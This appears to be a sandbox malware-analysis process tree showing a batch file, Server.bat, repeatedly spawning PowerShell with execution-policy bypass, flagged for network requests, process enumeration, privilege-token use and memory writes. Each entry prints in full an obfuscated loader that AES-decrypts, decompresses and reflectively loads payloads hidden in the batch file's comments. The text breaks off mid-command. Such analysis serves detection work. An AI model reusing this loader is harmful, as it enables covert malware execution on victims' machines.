        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        21⤵
        
        PID:2464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        22⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        20⤵
        
        PID:3152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        21⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        19⤵
        
        PID:4844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        20⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        18⤵
        
        PID:2640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        19⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        17⤵
        
        PID:2444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        18⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        16⤵
        
        PID:1332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        17⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        15⤵
        
        PID:2848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        16⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        14⤵
        
        PID:3048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        15⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        13⤵
        
        PID:212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        14⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        12⤵
        
        PID:2960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        13⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:4652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        12⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2844
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:1308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join 